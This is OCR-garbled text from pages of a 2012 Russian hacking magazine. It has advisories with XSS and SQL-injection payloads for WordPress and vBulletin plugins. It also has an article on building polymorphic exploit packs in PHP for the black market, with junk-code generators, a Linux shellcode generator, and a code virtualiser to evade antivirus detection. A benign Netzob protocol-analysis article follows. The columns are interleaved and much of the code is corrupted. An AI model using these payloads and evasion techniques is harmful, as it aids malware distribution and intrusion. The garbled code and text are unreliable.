2. Хранимая XSS. Поле под названием Message lnеременная SQL-инъекция была найдена в nлагине Yet Another Awards System
wptbbartext) скриnта wp-topbar.php nодвержено уязвимости известногодвижка vBulletin и nозволяет выnолнять nроизволь­
Stored Cross-site Scripting. Переменная достуnна только из ные S Q L-зanpocы к базеданных nриложения.

ШiШШ
административного меню nлагина. Пример эксnлуатации:

</script><script>alert ( З ) </script> Уязвимость существует в с криnте /request_award.php:

Послесохранения в n еременнойданногозначения скриnт $vbulletin- >input - >clean_array_gpc ('р' , array(


<scгipt>alertiЗ)</script> будет выnолняться на каждой странице, 'award_id' => TYPE_UINT,
где отображается nлагин. 1 /'award_request_name' = > ТYPE_STR,

шm:l'J
1 /'award_request_recipieпt_name' = > TYPE_STR ,
'award_request_reason' => TYPE_STR,
WordPress WP-Top8ar4.02 и, возможно, более ранние. 'award_request_uid' => TYPE_UNIT,
));

Обновиться до версии 4 � 3 и л и болееnоздней. $award_request_uid = $vbulletin- >GPC['award_request_uid'] ;


$db- >query_write(""INSERT INTO '" . TABLE_PREFIX . ""award_ \
requests ( award_req_uid, award_rec_uid, award_req_a id,
award_req_reason) VдLUES ('$award_request_uid',
..
'$award_request_uid', '$award[award_id ]', . . $db->escape_ \
string( $v bulle tin- >GPC['award_request_reason'] ) • ""') " ) ;

Переменная $award_request_uid исnользуется в запросе без вся­


кой фильтрации. Пример эксnлуатации:

htt p : / / [ site ] . com/request_award . php


POST: do=submit&name=award_id= [ вaлидный_ID]
&award_request_reason=e
&award_request_uid=0[SQL -инъeкция ] &submit=Submit

шm:l'J
Yet Another Awards System 4.02 и, возможно, более ранние.

Исnравленной версии nлагина на данный момент не существует. :Х:


взлом Sanjar Satsura !satsurararOOtwOrm.com, twitter.com/!11/sanjar_satsural

П ОЛ И М О РФ Н Ы И
Э КСПЛ О ИТ- ПАК
НОВЫЙ ВЗ ГЛЯД НА ДИНАМИЧ ЕСКУ Ю
КОДО Г ЕН ЕРАЦИ Ю

Э кс пло й т- п а к и з а н и м а ют дово л ьно большую н и шу черн ого р ы н ка , я вляя с ь


о с ново й прогрузов и ине тал лов м а л в а р и . Н о мало кто зн ает, на с ко л ько о н и
н еэффе к т и в н ы и к а к и е проб л е м ы возн и кают чуть л и не кажды й день у де­
ве л оперов сп е ци ф и че с к и х продуктов. Э та с татья ра сс кажет, к а к и е ош и б к и
о б ыч но в с тречаютс я пр и с оздан и и эк с п л о й т- паков и как и е и н новац и о н н ы е
подходы помогу т реш и ть б ольш и н с тво п р о блем.

ПО Ч ЕМУ ЭКСПЛОЙТ-ПАКИ НЕЭФФЕКТИВНЫ? Под полиморфом сейчас пони мается некий дешифровщик [чуть
Ответить на этот вопрос непросто, ведь необходимы веские аргу· лучше, чем обычный алгоритм побитового исключения XOR), чья
менты. Не в обиду будь сказано девелоперам exploit расk'ов, но, задача состоит в смене ключа и разбавлении кода мусором, кото­
по моему мнению, на сегодняшний день не существует стоящего рый сам по себе не шибко-то и многообразен. Настоящий хороший
продукта, полностью удовлетворяющего потребности клиентов. полиморф никоим образом не является таким убогим созданием
Сейчас я объясню почему. со случайным ключом дешифровки. Чтобы это понять, достаточно
1. Качество продуктов, не путать с самим и зксплойтами, на очень будет взглянуть на старые исходники MtE и увидеть реальный
низком уровне - в основном из-за не грамотности их авторов. годный поли морф. При этом <<аверы>> от любого более-менее стоя­
Частотакназываемыесвязки страдают банальными уязвимо­ щего полиморфика сразу же бросаются в панику, потому что только
стями (XSS, SQLi, CSRF, etc.), через которые идет слив трафика, такой морф не обнаруживает никакая сигнатура - ни плавающая
инеталлов и, как следствие, утечка базы данных и ботов. (паттернами), ни любая другая. Существуют также и мета морфы, до
2. Большинство 0-dау'ев рипаются/переписы ваются только после которых всем творениям на сегодняшнем рынке, даже вместе взя­
того, как готовый зксплойт появляется в публичной зксплойт-ба­ тым, еще очень далеко. Как правило, покупателю предоставляется
зе или же во фреймворке Metasploit. один билд/связка, которая, конечно же, обладает <<морфностью••.
3. Низкое качество «крипта>> дает о себе знать- авторам прихо­ но толк от этой <<морфности» на практике нулевой - билд связки
дится каждый раз перебивать криптоалгоритм, написанный JS, един для всех жертв, и если хоть одна из них спалит билд. связка/
или морфить код вручную из раза в раз. На черном рынке можно бот будет палиться у всех клиентов.
встретить услуги <<чистки сплоитов, ifгame, исходников», чтодо­ Отличие полиморфа от метаморфа состоит в том, что п о ­
вольно-таки забавно :). лиморф обычно просто добавляет в код мусорные инструкции,
4. Так как в подавляющем большинстве связки написаны с исполь­ чтобы затруднить дизассемблирование и анализ кода. Метаморф
зованием средств распространенного сейчасязыка программи­ старается целиком изменить вид кода, сохраняя при этом ориги­
рования РНР, а в нем не хватаетузкос пециализированных библи­ нальный алгоритм его работы, для чего он заменяет инструкции
отек, связанных с ИБ и реверс-инжиниринг кодингом, возникают их синонимами, состоящими, в свою очередь, из одной или не­
все перечисленные проблемы. скольких других инструкций. Большая часть полученного нового
кода. производимого метаморфом, обычно нужна для работы
программы, доля мусорного кода у него весьма мала. У полимор­
Я не буду заострять твое внимание на первых двух проблемах- как фа как раз таки все наоборот. Позтому декодировать метаморф
мне кажется, дело тут в знаниях, которые нужно прокачать юным гораздо сложнее.
девелоперам : ) . Я покажу тебе довольно интересный подход к реше­ Двигателем любого метаморфного механизма является дизас­
нию проблем с динамическим морфом, криптом и кодогенерацией, семблер. Именно с его помощью происходит логическое и морфо­
вызванных отсутствием нужных библиотек в РНР. Все примеры, логическое разбиение подаваемого на вход кода. после чего, как
которые приводятся в статье, можно использовать и в других обла­ уже говорилось выше, все инструкции заменяются на аналогичные
стях, где требуется динамическая кодогенерация, таких как кри пт­ по работе небольшие куски кода. Причем замена может произво­
сервисы, динамические генераторы малвари и так далее. Но прежде диться в несколько итераций. Число итераций (циклов замены)
ч�м мы начнем разбираться с кодом. хотелось бы уточнить значение морфера называется глубиной морфинга. Чем она больше, тем бо­
терминов, которые будут применяться ниже. Дело в том, что сейчас лее запутанным будет выходной код. После морфин га инструкции
настолько модно кидаться грозными словами <<мета морфинr>> и <<ПО­ компилируются обратно в машинный код. Большинство авторов
ли морфин г>>, что сам смысл этих слов полностью утрачивается. метаморфов считают, что большая глубина морфин га должна

080 ХАКЕР 1 1 /166/ 2012


Полиморфный эксплойт-пак

• CVE·2008.001S.php Х
Act\�D)tc.t( '��.VIoc::loмwrlиtl.t').r.ttV...UЬllf( '\$Wf"s\Ofl' );\f((s-·V1м
t,t, t1},t' )l l(s- 'V1Jrt t,l, 16,8' )l l(s-'WJM t,l,21,t')ll(s-·WIJ8 9,1,45,1') l l(s-'WJM
t,t,•7,1' )1 1(s-·WJм t,I, M ,I' ) ){\f(s-'VfM t,l,tiS,I' ){fUUIU.S..t•'S",....' •tм.-z
•'162nFМl75fiU2AflffffW�IIJ7'1t'•U.К..J
• '""""'7)6W"2...aк2e6МШТЖ:")J."741n6f26шt2Ali26ZA2826S(l41Ш242JlS242)2SSii�l2t:
\f(sv-•\fн t,I,JI,t' ){ft.t..tto.es..t•'SI.IIC.IМ' •t:he>uNZ
• 'C&l7SFCЫ:71fCU2JrflffffWClJIV:C6J7S8' •thn-1
•. ...._.su�ltiAМ61'7
..n ..,...mtrc�n7fl'r•rzl'81f6l7�71SJJ}CJ6)8)t
\f(sv-'VlМ t,t,lt,t' ){fdolt..tМI..1•'.50U:OМ' •thnlf'lt2
• '1627Sfl6l7Jf".IW.Fff-antlfMJ7SI' •t�J
• ' ....7МA1)l16A617)66ltii
.. 2Al.AlfSUS142JZ4UllS(2JlUA21lt2:tZ6�Z6SUAl6SU]lS142J2SЯ.1SSU6.
tf(I-'Wt/11 t ,t,4S,t' }(fNtPU.s..t•' SМI:IW'•thn-1
• 'S617SfS617tfSUlAflfffft8FSlМlf56)7Je'•t....J..


•'�J14l6SEW8WШlnfltsflll9SflAltlt26SUAZIПSU4l.SS4StS44.1.817_...7SS4t.5f4S1SSU.5lA.
...
\f(_.,.'WIJI t,l,47,1' ){fUt�theнfw1•'SМI:IIМ'•t-......z
•'S627SFШ71fSltlNiffff-utllf56]7SI'•tМU..J
•'....SfUS(l62Al6UDltSfliSF21l11Joti7U141Лlt41242
... SUQS2A211tlt29SF2119SfSFWIS[lAStS4.
Аренда никудышной свяэкм в од по •(достуnным�� ценан \f( llf88'WIIII t,t,6A,I' ) {fUt..t""..1•'SEМEКA'•�'Z
•'S617WS617SfSEIWifffF-Snelf5631tl'•theяlwJ

1
•·-n41ШШl611Yl'tliSfl82tsnAWSSUSlloiММf....7484746S8Sl4S4S4:wlS4U4.5474МE47S
..
fAtPfNt•.r•\.кll(r•,\tnk) ;LOIIDFUSН(); >-tи{I'Of"() ;)}c•tt.h(•){I'Of"();}}SW() ;• ;

существенно осложнить анализ кода, но опыт реверсеров говорит


РНР • Tib Width: 4 • Ln 40, Col )717 JNS
об обратном.
Сложность декодирования метаморфа целиком зависит от Пример декрмnтованноrо хардкода MJ тoiii •е CIRJKM
первичного алгоритма морфера и от того, сколько комбинаций
инструкций он способен выдать на одну оригинальную инструк­
цию. Увеличение же числа этих комбинаций повышением глубины echo $makeup;
морфинга ничего хорошего н е дает: все равно после написания
анализатора можно будет снять метаморф в несколько проходов
так же, как он и накладывался. 2. Трэш-генератордля инструкций с одним операндом.
Более продви нутой технологией метаморфин га можно на­
звать пермутацию. Преимущества пермутации перед метамор­ functioп trash_operaпd($пumber) {
фом в том, что метаморфизм - это простейшая генерация кода. $commaпds = array( "adc" , "add" , "sub" , "апd" , "cmp" , \
собирающаяся из описывающих его структур (в которой шаблон "mov" , " or" , "test" , "xor" , "sbb" ) ;
для сборки жестко зашит в самом коде!, тогда как для пермута­ $regs_32 = array( " eax" , "есх" , "edx" , "еЬх" , "esi " , \
ции никакой псевдокод не нужен: выполн яется дизассемблиро­ "edi" ) ;
вание кода, рекомпиляция (перестройка) и конечная компиляция
(сборка!. for ($i=0; $i<$пumber; $i++) {
Но как быть с РНР? Изначально это не системный язык про­ $couпt_c raпd(e, couпt($commaпds ) - l) ;
граммирования, так что о манипуляции с низкоуровневыми $couпt_r = raпd(B, couпt($regs_32) -1 ) ;
операциями и данными можно забыть, а еще проще опустить руки $couпt_r2 = raпd(l , 99999999 ) ;
и вообще ничего не делать (как раз это ты можешь сегодня наблю­ $makeup . = $commaпds[$couпt_c ] . \
дать на черном рынке). " " .$regs_32 [$couпt_r] . " , " .$couпt_r2. "\r\п" ;
Сдаются слабаки, а м ы с тобой постараемся рассмотреть не­
сколько интересных концептов, которые могут при нести немалое echo $makeup;
количество профита :). Первым делом я б ы хотел пойти снизу вверх
и рассмотреть простейший трэш-генератор.
Идея написания полиморфного трэш-генератора на РНР На диске ты можешь найти полный исходник этого движка (sгс/
родилась у моего знакомого Сгеаm 'а (ШоколадныйКрем, привед!l. chocotg.php).
Суть его идеи - универсальная генерация 32-битных мусорных
инструкций для архитектуры х86:

генерация инструкций без операндов; Просмотрев добрый десяток <<лучших элитных» сплоит-паков на чер­
генерация ненужных инструкций; ном рынке, я был крайне огорчен их качеством, и в первую очередь
генерация инструкций с одним операндом; хардкодом (что, собственно, приводит к постоянным детектам и руч­
генерация инструкций с двумя операндами. ным чисткам!, который присутствует практически во всех связках.
Конечно же, я не удивлен тем, что девелаперы бесконечно кру­
При веду несколько функций «мусорогенерации» из этого тят педали и сталкиваются с новыми проблема ми, но все же такая
движка: бестолковость заставила меня написать библиотеку динамической
1 . Инструкции с адним операндом кодагенерации на РНР. Суть библиотеки в том, что она без труда
позволяет << инлайнить» ассемблерные вставки (х861 прямо в РНР,
fuпctioп oпe_operaпd($пumber) { как это делается в системных языках программирования. Текущая
$commaпds = array( "bswap" , "dec" , "iпс" , "mul" , "пеg" , \ реализация 0.0.1 еще сырая и незавершенная, но уже позволяет
"поt" ) ; сделать многое. В ней п рисутствует практически полноценная
$regs_32 = array( "eax" , "есх" , "edx" , "еЬх" , "esi" , \ работа с 8/16/32-битными регистрами, ветвлениями Jxx, работа с
"edi" ) ; исключениями и прерываниями, базовые и логические операции и
так далее.
for ($i=0; $i<$пumber; $i++) { Векторы, в которых может применяться эта библиотека, не
$couпt_c = raпd (e, couпt($commaпd s ) -l ) ; огранич иваются сплоит-паками - возможности динамической
· $couпt_r = raпd(e, couпt( $regs_32) - l) ; кодагенерации довольно велики, и применение ей можно найти
$makeup . = $commaпds[$couпt_c ] . " " . \ весьма широкое:
$regs_32[$couпt_r ] . \ "\r\п" ; низкоуровневые приложения;
эмуляторы кода, VM;

ХАКЕР 11 /166/2012 081


взлом

t'- ·rustotal t'-v rustotal


5НА256 �b745fc�1c7d821e70кti03SI88Ь7670079
... ..... OIМIWDTtlle

Dectctlanrltlo 01�
м.tysiS o.r. 20U-o2-05 04 20"32 uтс ( 1 '• 7 ...сJ�Ц" 890 )
� -· 20124210805ЯVТC(14"'"'Y'IIQO)

1 80 0 щ)lrOosx:·/l'o6o...o cro•
мnJ•,...a:�' <8 � с,_."
WIIJ..... ......
:�i1" ./HMiff .... ,l\tot1fl,pft
C101d .,
Anc8Vtrus UIIJ"'"•:-""..... ow � .1\tмlff ....
dllkoМltttclcl•ttt4t"""М2427-'�МI:aotn.,� ,/tlt111ft.plt
NRJ&I905• ·� СТМS 1

Детект LibTIFF PDF эксnnойта 18/�Э Курьезный случай nосле обработки спломта VМ·крмnтором:
сбив сигнатуры + коnnмэия сскрмnтоrрафмческм устойчивого•• алгоритма SHA·256

• крэкми, кейгенераторы; PUSH_REG(ECX);


• драйверы; PUSH_REG( ЕВХ ) ;
• низкоуровневая криптография, етц. MOV_REG( ESP, ЕСХ);
INT( ' 80 ' ) ;
Давай рассмотрим nростейший пример использования этой РОРА( ) ;
библиотеки. В качестве примера приведу перенос Blacklight's CALL_VARL ( ' fffffff4 ' ) ;
shellcode geneгatoг fог Linux х86. Вот оригинальный код генера­
тора: return {$result ) ;

char code[]
"\\хб0" /*pusha*/ linux_shellcodegen_null_free ( $result ) ;
" \\х31 \ \хс0" / *xor Хеах, Хеах• 1
" \ \x31\\xd2" /*xor Xedx, Xedx* / Разбор кода таков: вначале м ы подключаем нашу библиотеку
" \\хЬ0\\х0Ь" / * mov $0xb,Xal*/ функцией includel'phpcodegen_lib.php'l. далее создаем функцию
" \ \х52" /*push Xedx*/ кодагенерации linux_shellcodegen_null_fгeell, в которой возвра­
"\\х68\\хбе\\х2f\\х73\\х68" / *push $0х68732fбе*/ щается переменная $гesult, ну и вызываем нашу функцию, чтобы
" \ \х68\ \x2f\ \x2f\ \х62\ \х69" / *push $0x69622f2f*/ nроверить результат. На выходе мы должны nолучить следующий
"\\х89\\хе3" / *mov Xesp, Xebx*/ сгенерированный код:
"\\х52" / *push Xedx* 1
"\ \х68\ \x2d\ \х63\ \х63\ \х63" /*push $0x6363632d* 1 \x60\x31\xc0\x31\xd2\xb0\x52\x68\xбe\x2f\x73\x68\x68\x2f\
"\ \х89\ \хе1" / *mov Xesp,Xecx*/ x2f\x62\x69\x89\xe3\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\
"\ \х52" / 'pus h Xedx•1 xe9\x9a\x83\x04\x08\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4\
"\ \хеЬ \\х07" /*j mp 804839а <cmd>*/ xff\xff\xff
"\\х51" /*push Хесх•/
"\\х53" /*push ХеЬх*/ Как видишь из nримеров, ничего сложного в nереносе нет, а
"\\х89\\хе1" /*mov Xesp,Xecx*/ самое главное - теnерь nоявляется возможность манипулировать
"\ \xcd\ \х80" /*int $0х80*/ с низкоуровневым кодом и данными, что в РНР само по себе, со­
"\\х61" / * р ора * / гласись, инновация.
"\ \xe8\\xf4\\xff\\xff\\xff" /*call 8048393 <11 >* /;
МОРФИНГ НА УРОВНЕ ОП КОДОВ Х86
Перенос не должен составить труда. так как моя библиотека Мы с тобой уже рассмотрели пример мусорагенерации с использо­
идет вкуnе с хорошей и понятной документацией, которая должна ванием трэш-генератора Сгеаm'а. Этот генератор имеет несколько
nомочь решить nрактические nроблемы с nереносом любого кода. неnриятных недостатков, из которых автор должен будет сделать
выводы на будущее:
include( ' phpcodegen_lib . php' ) ; • nервый существенный недостаток - это работа только с 32-раэ­
function linux_shellcodegen_null_free( ) { рядными регистрами;
PUSHA ( ) ; • второй -для мусорагенерации нужны исходники эксплойта/
XOR_REG( EAX, ЕАХ ) ; nриложения на MASM lwindowsl- это менее важно, но все же
XOR_REG(EDX, EDX ) ; сказывается на актуальности генератора.
МOV_B(AL, ' 08 ' ) ;
PUSH_REG(EDX); Из этих недостатков вытекает nроблема статичности, что,
PUSH_L( ' 68732fбе ' ) ; конечно, создает много неудобств. Решить эту nроблему нужно и
PUSH_L( ' 69622f2f ' ) ; даже можно с использованием библиотеки динамической кодаге­
MOV_REG( ESPJ ЕВХ ) ; нерации phpcodegen. Перенесем следующий nример ГСЧ !генера­
PUSH_REG( EDX ) ; тор случайных чисел! из полиморфного движка zOmbie:
PUSH_L ( ' 6363632d ' ) ;
МOV_REG ( ESP,ECX); process_randseed : mov eaxJ randseed
PUSH_REG( EDX) ; imul еах, 214013
JMP_L{ ' 0804839a ' ) ; add еах, 2531011

082 ХАКЕР 11 /166/2012


Полиморфн ы й эксплойт-пак

mov eaxJ randseed PUSH_REG( 'EDX' ) ;


dec randcount CALL $process_randseed;
jz -exit СМР _L('ECX', 65536) ;
get_rnd_number: push е сх JB($mul);
push edx
call process_randseed #_div :
cmp есх, 65536 необходимо XOR_REG('EDX', 'EDX' ) ;
jb _mul т ол ь ко DIV_REG(ECX)
_div: xor edx" edx если XCHG ('EDX', 'ЕдХ' ) ;
div е сх ЕСХ JMP($exit) ;
xchg edx.. еах быв ае т #_m u l :
jmp _exit )z 65536 SHR('EдX', 16) ;
_mu l : shr е ах.. 16 IМUL ( 'EдX', 'ЕСХ') ;
imul eaxJ есх SHR('EAX', 16) ;
shr еах,� 16 #_ex i t :
_exit : рор edx РОР_REG('EDX' ) ;
рор есх POP_REG ('ECX' ) ;
retn RETN ( ) ;

Сказано - сделано:
Как видишь, эффективность библиотеки налицо, nеревод
include ( ' phpcodegen_lib . php · ) ; исходного алгоритма занял не более трех минут, что действи­
тельно вnечатляет. Примеры исnользования и nорта зксnлойтов с
function GRN($randseed, $randcount ){ nрименением возможностей этой библиотеки ты можешь найти на
#process_randseed: официальной страничке прое кта !ссылку ищи на врезках!.
МОV_L('ЕдХ', $randseed ) ;
IMUL ('ЕдХ', 214013) ;
дDD_REG('EдX', 2531011 ) ; Хотелось бы отметить, что все эти идеи и концеnты находятся
MOV_REG('EдX', $randseed ) ; в зачаточном состоянии, идеи и библиотеки очень сыры. Проект
DEC_VARL($randcount ) ; phpcodegen liЬгагу открыт для всех желающих nринять участие
JZ($exit); в его развитии. Именно ты, мой друг, можешь nовлиять на даль­
нейшую судьбу развития nроекта и науки кодогенерации в целом,
#get_rnd_numbe r : именно в твоих руках поменять ход истории автоматизации задач
PUSH_REG('ECX' ) ; эксплойтостроения! Да пребудет с тобой сила vx! Х

fiQIII
Вся мнфорнацмя
КОНЦЕПТУАЛЬН Ы Й Э КСПЛОЙТ В VM предос-тааnена
MCKIIIOЧMTtllbHO
в ознакомительных
целях.
П о идее, так как мы имеем на руках готовую б и бл иотеку для LODSD ( ) ; Ни редакция,
нм автор не несут
низкоуровневой маниnуляции кодом и данными, есть возмож­ PUSH_REG( ' EдX ' ) ; ответственности
ность написать и такие довольно сложные вещи, как VM, за­ vm_fetch ( ) ; эа 111060Й ВОЗ МОЖНЫМ
вред, причиненный
дача которой - затруднять анализ кода аверами. Простейший
натериалами данной
виртуализатор кода: статьи.
puЬlic function call_handler( ) {
class VM LODSD( ) ;
CALL_REG( ' ЕАХ ' ) ;
puЬlic function _construct($data, $vc_v a ) { vm_fetch ( ) ; •Статья MS·REM'a на
$this - >_dataz$data; тему полиморфных
крмпторов: lliiJy[
$this - >_vcva=$vc_va;
!1jnЩ;
• статьи zOmЬie на
class VmCode тему метаморфов,
nолиморфов м
puЬlic function vm_s tart($vc_va ) { { nермутацмм:JШ..
МOV_L ( ' ESI' , $vc_va) ; puЬlic static function virtualise($data, \ !ylOМ&/Ш, Iill.
Svc_va=null) tY.LRWrJ.!, IIiJ.IYL
R6WllR;
puЬlic function vm_fetch ( ) { • странмца nроекта
XOR_REG( ' ЕдХ' , ' ЕАХ ' ) ; return new VM($data,$vc_va ) ; РНР Codegen Llbrary:
LOADSB( ) ; l!i.t.IYlW•w
• большой
PUSHA( ) ; apXMI С)МПЛОВ

XOR_REG( ' ЕСХ' , ЕСХ); М ИСХОДНИКОВ


генераторов: и:
JMP_REG( ' EDI ' ) ; Итого за nять минут имеем простейший виртуализатор шЫы!;
·} зксплойта, который курьезным образом, кроме того что • проект EOF: �
сбил детект, еще и произвел атаку типа коллизии на �-
puЬlic function push_handler( ) { криптографический алгоритм SHA-256 :1.

ХАКЕР 1 1 /166/2012 083


взлом Жорж Боссер м Фредерик ГмJри (contactlanetzob.orgl

ВВЕ Д ЕНИЕ
РЕВЕ РС- И Н Ж И Н И РИ Н Г Специалистам приходится сталкиваться с реверс-инжинирингом
для решения самых разнообразных задач. Например, кому-то
И СИМУЛЯЦИЯ хочется понять, как функционирует их любимый магазин игр,
а кому-то нужно подключить какое-нибудь USВ-устройство в не­

ПРОТОКОЛА & ОТН ЕТА поддерживаемой ОС. Но нельзя забывать и про специалистов по
аудиту безопасности, которым также часто приходится прибегать
к реверс-инжинирингу в своей работе. В данной статье мы сфоку­
С ПОМОЩЬ Ю NETZOB сируемся именно на их нуждах.
В последние годы для анализа безопасности стали популярны
методы и инструменты, основанные на фаззинге. По сравнению
с традиционными подходами !статический и динамический анализ
Л юбо й исс л едовате л ь ста л кивается бинарников в связке с анализом исходниковl, требовавшими
определенных навыков, а также большого количества ресурсов
с трудностя ми п р и реверс - и н ж и н и р и н ге
и времени, новые инструменты предлагают много преимуществ:
и рано и л и поздно п р иходит к вы воду: сравн ительную простату реализации, полуавтоматический прин­
нео б ходи м ин струмент, кото ры й б ы уп рости л цип работы, быстрое получение результата и так далее. Несмотря
на это, опыт показы вает, что для максимальной эффективности
р е ш е н и е м ногих задач. В теч е н и е двух л ет мы анализ с применением фаззинга требует хорошего знания иссле­
з а н и м а л ись созда нием П О , которое у п р о щает дуемой системы и ее протоколов коммуникации. По этой причине
работа с проприетарными или недокументирова н н ы м и протокола­
м а н и п ул яц ии с б и н а р н ы м и пото к а м и , находит м и оказы вается менее эффективной.
соот н о ш е н и я между эл ементами , оп реде л яет С другой стороны, при анализе файрвалов или систем обнару­
жения сетевых атак INIDSI исследователю часто требуется сгене­
формат данных, выяв л яет син таксис и де л ает рировать реалистичный трафик для того, чтобы оценить надеж­
м н ожество других по л езных м е л оче й . ность и релевантнесть продукта lпроцент ложных срабатываний!.

081. ХАКЕР 11 /166/ 2012


Вскрытие ботнета

�мo.::a•:. �� ·lt.tJ.JO)I .,... ц r.,_;- - --r -I-_tttuoн


�:::�;. н -1 � 1 1 1 н н -�::.J
1 ( 1,)0)1 1(10.101)1

L G:.[•
- - • - - -

--

Гf='Т!
· - ·

ЩtИMII
Соо6·
'* • -�·.7 ... -

. - --... - - --

SYN_RCVD
Рис. 1. Формат С&С-команд SDBot. ПереаА строка оnмсыеает формат символа.
ВтораА строка оnисывает формы вмзуапмэацмм

Close/FIN
Часто это бывает непроqо, поскольку требуется полный контроль
над выдаваемым трафиком. Отсюда вытекает, что исследователь
не сможет нагенерировать полезный трафик, если он не имеет
доступа к спецификации протокола. Для решения таких проблем
с помощью реверсивной инженерии протоколов и был разработан
Netzob. С его помощью специалист сможет сэкономить время,
необходимое для анализа. а также получить более глубокое по·
ни мание исследуемого протокола. т.meoul after
tYjf :����nl
,

В своей работе Netzob использует словарь в виде ряда символов.


С и м вол - это абстрактное представление группы похожих кон·
Рис. 2. Схема мэненениМ состояний 1 ТСР
струкций, что отражает следующую предпосылку: схожие со обще·
н и я, скорее всего, имеют схожую функцию в протоколе. Например,
группа флагов ТСР SYN может быть обозначена одним символом, вать несколько ответов на одну и ту же команду. В нашей модели
а запросы ICMP ЕСНО REQUEST или SMTP EHLO - другим. также отражается время реакции для каждой пары входных и
Структура символа определяется типами данных, принимаемых ВЫХОДНЫХ СИМВОЛОL
теми или иными командами (например. сегменты ТСР содержат та·
кие поля, как последовательность чисел или контрольная сумма).
Длина полей может быть как фиксированной, так и произвольной. Наша задача - вывести словарь и грамматику протокола пере·
Поле может включать в себя подзлементы (такие как область по· дачи данных. чтобы выполнить его аудит (с помощью процедуры
лезной нагрузки). Поэтому, если рассматривать слой протокола как фаззинга) и оценить !используя симулятор трафика). Эти операции
просто еще одно поле. можно восстановить стек протокола (напри· не требуют знания протокола, но тем не менее есть следующие
мер. ТСР, инкапсулированный в IP, сам инкапсулирован в Etheгпet), требования:
определив собственный словарь и грамматику для каждого слоя. 1. Для того чтобы узнать структуру протокола, нужны вводные
Определив структуру полей, мы можем задать формат символов. данные. Значит, исследовательдолжен иметь примеры работы
В нашей модели у поля есть различные характеристики: не ко· данного протокола. Это может быть что угодно. начиная с потока
торы е из них присущи всем полям, а некоторые релевантны только данных с канала USB (например, внешние устройства) до сете во·
для конкретного типа поля и важны только с целью визуализации. го потока !например, С&С-команды ботнета). конфигурационных
Область допустимых значений поля формулируется с помощью файлов и так далее.
дизъюнктивной нормальной формы. Кроме того, у областей есть 2. У исследователя должно быть максимум информации об окруже·
некоторые свойства интерпретации, важные для визуализации нии: IР·адреса. имена хостов и так далее.
и поиска данных. Мы связываем содержание поля с размером 3. У исследователя должен быть доступ к программам, которые
условной единицы (размер составных элементов. образующих используют данный протокол. Должна быть обеспечена возмож·
поле, таких как бит, полубайт, слово), порядком байтов, знаком и н ость автоматизации их выполнения и возврата к изначальному
системой счисления (десятичная, восьмеричная, шестнадцатерич· состоянию. М ы рекомендуем функцию снапшотов в VMwaгe
на я, ASCII, DER и так далее). Кроме того, поле может определять, или ViгtuaiBox.
например, IР-адрес, URL и прочее. Рис. 1 демонстрирует различ· 4. Естественно, протокол не должен включать зашифрованное
ные форматы и формы визуализации С& С-запросов ботнет а SDBot. или сжатое содержание. Если таковое присутствует, эксперт м о·
жет применить меры по энтропии, чтобы идентифицировать не·
ГРАММАТИКА ПРОТОКОЛА которые из них, и использовать инструменты вродеАРI Hookiпg.
Грамматика определяет порядок сообщений, передаваемых чтобы расчистить данные.
в процессе коммуникации. Например, в случае с протоколом ICMP
грамматика включает правило, по которому ICMP ЕСНО REPLY ВЫ ВОДИМ СЛОВАРЬ И ГРАММАТИКУ
ТУРЕ В всегда следует за ICMP ЕСНО REQUEST ТУРЕ 8. Другой при· С ПОМО Щ ЬЮ NEТZOB
мер грамматики - свод правил, описывающий последователь· В этой части м ы описываем процесс обучения, реализованный
н ости символов, которыми обмениваются участники ТСР-сессии. в Netzob и позволяющий вывести словарь и грамматику протокола
Эти правила могут быть представлены в виде схем, определяющих в полуавтоматическом режиме. Этот процесс, проиллюстрирован·
состояния и символы, посланные и полученные при каждой смене ный на рис. 3, состоит из трех шагов.
состояния !см. пример на рис. 2).
В Netzob грамматика представляется в виде нашей собствен· ШАГ 1: КЛАСТЕРИЗАЦИ Я СООБЩЕНИЙ
ной математической модели. Это расширение традиционного И РАЗДЕЛЕНИЕ ФЛАГОВ В ПОЛ Я Х
автомата Мили позволяет иметь множество выходных символов Чтобы определить формат символа, Netzob поддерживает раз·
для одного и того же перехода, что дает возможность зафиксиро· личные способы разделения. В этой статье мы описываем самый

ХАКЕР 1 1 /166/2012 015


взлом

точный сnособ, исnользующий nроцессы выравнивания nосле­


довательности. Эта техника nозволяет выводить nоследова­
тельности инвариантов в ряде сообщений. Когда разделение и
кластеризация nроведены, мы nолучаем nервое nриблизительное
nредставление о формате сообщений. Следующий шаг состоит в
оnределении атрибутов nолей. 1 -·-1

ШАГ 2: ОПРЕДЕЛ Я ЕМ СВО ЙСТВА ПОЛЕЙ , ___ ,


Тиn nоля частично оnределяется на этаnе разделения. Для nолей, 1 --· 1
содержащих только инварианты, тиn nросто соответствует значе­ , ____,
нию инварианта. Для других nолей тиn выбирается автоматиче­ 1 --... 1
ски, в nервом nриближении с nомощью регулярного выражения, г=;;--1
как nоказано на рис. 3. Эта форма nозволяет легко nроверить
данные на валидност�ус оnределенным тиnом. Более того, Netzob
nозволяет визуализировать область доnустимых значений для
Рис. 3. Шагм выведения nротокоnа в Netzob
nоля. Это nомогает вручную усовершенствовать тиn, связанный с
областью.
Некоторые внутрисимвольные зависимости оnределяются а в ­
192.168.'2." 11522 87.69 UDP 58Scкtrctport. 52'83 Ontinat!On port: 16'"
томатически. Алгоритм nоиска был разработан, чтобы оnределить
192.168.iH1 66.231.52.69 UDP 58 Source port 52'83 OкtiRWon porl: '""'
возможный размер nоля и указанную nолезную нагруз ку.
Зависимость от окружения также выя вляется в ходе nоиска 192.168_U,I 190." 221.68 UDP 58Sourctport· 52Ш DкЬnltiOI'Iport:1666'
192.168.,Н1 98.252 21,.26 UDP 58 Sourct port: 52683 Dtst!N'{IOI'tport: 16'&.4.
оnределенных значений, извлеченных во время захвата сообще­
ния. Среди этих значений находятся nараметры аппаратного обе­
Рис. '· Обраэцы, поnученные Wireshark
спечения, операционной системы и конфигурации сети.

ШАГ 3: ПОСТРОЕНИЕ ГРАФИКА П ЕРЕХОДОВ ПРОТОКОЛА мы е символы в сообщения. Буфер памяти также доступен, чтобы
Третий шаг процесса обучения - это обнаружение и извлечение управлятьотношениями з а висимостей. Последняястадиясоз­
графика переходов исследуемого протокола. Это достигается ря­ дает модель грамматики и вычисляет, какие сим волы должны
дом активных экспериментов с реальным клиентом или сервером, быть отправлены или nолучены согласно текущему состоя нию и
для чего нужно по порядку вводить последовательности входных времени.
